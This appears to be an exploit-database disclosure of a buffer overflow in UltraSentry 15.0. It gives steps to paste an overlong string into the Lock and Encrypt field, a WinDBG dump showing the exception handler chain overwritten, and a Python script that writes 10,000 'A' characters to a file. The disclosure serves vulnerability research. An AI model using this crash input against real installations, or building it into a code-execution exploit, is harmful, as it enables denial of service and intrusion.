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UltraSentry - Buffer Overflow Vulnerability

🗓️ 10 Oct 2015 00:00:00Reported by ZwXType 
zdt
 zdt
🔗 0day.today👁 26 Views

UltraSentry Buffer Overflow Vulnerability on Windows

Code
##################################################
 Title Exploit : UltraSentry - Buffer Overflow Vulnerability
 Date : 19/09/2015
 Author : ZwX
 Software Vendor : http://www.ultraedit.com/
 Software Link: http://www.ultraedit.com/downloads/ultrasentry.html
 Version: 15.0 
 Tested on: Windows 7 
 site : http://zwx.fr/
##################################################

##################################################
          Steps to Produce the Crash :
##################################################

1. Copy  the AAAA...string from bof.txt to clipboard
2. Run UltraSentry.exe
3. Go Menu -> File -> Peferences -> Protection -> Lock and Encrypt"
4. Paste it the input AAAA....string and click Apply
5. Software will Crash
 
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        Crash Analysis using WinDBG :
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(fa4.958): Access violation - code c0000005 (!!! second chance !!!)
eax=0012e2d0 ebx=00410041 ecx=00410041 edx=00000000 esi=0012e2d0 edi=00000000
eip=76eb71b4 esp=0012e26c ebp=0012e2bc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
ntdll!KiFastSystemCallRet:
76eb71b4 c3              ret
0:000> !exchain
0012ec9c: 00410041
Invalid exception stack at 00410041
0:000> d 0012ec9c
0012ec9c  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012ecac  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012ecbc  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012eccc  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012ecdc  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012ecec  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012ecfc  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012ed0c  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.

##################################################
          Proof Of Concept :
##################################################

buffer = "A"*10000
 
file = open("bof.txt","w")
file.write(buffer)
file.close()
 
print "File Created"
print " Contact [email protected]"

#  0day.today [2018-02-18]  #

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10 Oct 2015 00:00Current
6.8Medium risk
Vulners AI Score6.8
26